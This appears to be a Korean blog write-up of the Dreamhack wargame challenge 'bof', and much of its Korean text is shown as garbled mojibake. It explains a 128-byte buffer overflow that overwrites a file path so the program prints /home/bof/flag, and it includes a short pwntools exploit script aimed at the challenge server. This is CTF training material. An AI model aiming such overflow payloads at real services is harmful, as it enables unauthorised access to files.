https://dreamhack.io/wargame/challenges/1111
bof
Description Buffer overflow is one of the basics of pwnable ๐ฑ The path of the flag file is /home/bof/flag.
dreamhack.io
๋ต
์ฒ์ ํ์ผ์ ๋ณด๋ฉด Dockerfile์ด ์๊ณ deploy ํด๋๊ฐ ์๋๋ฐ
์ด deploy ์์๋ bof cat flag ์ด๋ ๊ฒ ์๊ฒ์ ํ์ผ์ด ์๋ค.
๊ทธ์ค์์ bof๊ฐ ์ฝ๋๋ผ๊ณ ์๊ฐํ๊ณ IDA๋ก ์ด์ด๋ณด์๋ค.
์ด๊ฒ ์ฝ๋์ธ๊ฑฐ ๊ฐ์๋ฐ ๊ทธ๋ผ v4์ ์ ๋ ฅ์ ๋ฐ๋ ๊ฒ์ ์ ์ ์๋ค.
๊ทธ๋ฌ๋ v4์ ํฌ๊ธฐ๋ 128์ธ๋ฐ ์ ๋ ฅ์ 144๋งํผ ๋ฐ์ ์ ์๋ค. ์ฌ๊ธฐ์ bof๋ฅผ ์ธ ์ ์๋ค.
128๊ฐ์ ๋๋ฏธ ๊ฐ์ ์ ๋ ฅํด์ฃผ๊ณ , flag๊ฐ ์๋ค๊ณ ํ /home/bof/flag ์ ์ ๋ ฅํด์ฃผ๋ฉด ๋๋ค.
๊ทธ๋ผ ์ถ๋ ฅ์์ /home/bof/flag์ ๊ฐ์ ์ถ๋ ฅํ๊ฒ ๋๋ค.
์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์ง ๋ค.
์ฒ์์๋ ์๋ฒ ์ฐ๊ฒฐ์ ํด์ฃผ๊ณ
ํ์ด๋ก๋ ์์ฑํ๊ณ ์๋ฒ์ ๋ณด๋ด์ค๋ค.
'c'๋ฅผ 128๊ฐ ๊ทธ๋ฆฌ๊ณ flag๊ฐ ์๋ ์ฃผ์๋ฅผ ๋ณด๋ด์ค๋ค.
์ ์ฒด ์ฝ๋
from pwn import *
p=remote("host3.dreamhack.games",14960)
chuu=b'c'*128+b'/home/bof/flag'
p.sendlineafter(b'meow? ',chuu)
p.interactive()
๋
'hacking > pwnable' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dream hack] out_of_bound (0) | 2024.10.07 |
---|---|
[Dream hack] welcome (0) | 2024.10.06 |
[Dream hack] Quiz: Out of Bounds-1 (0) | 2024.09.20 |
[Dream hack] Memory Corruption: Out of Bounds (6) | 2024.09.19 |
[Dream hack] Return Address Overwrite (0) | 2024.09.18 |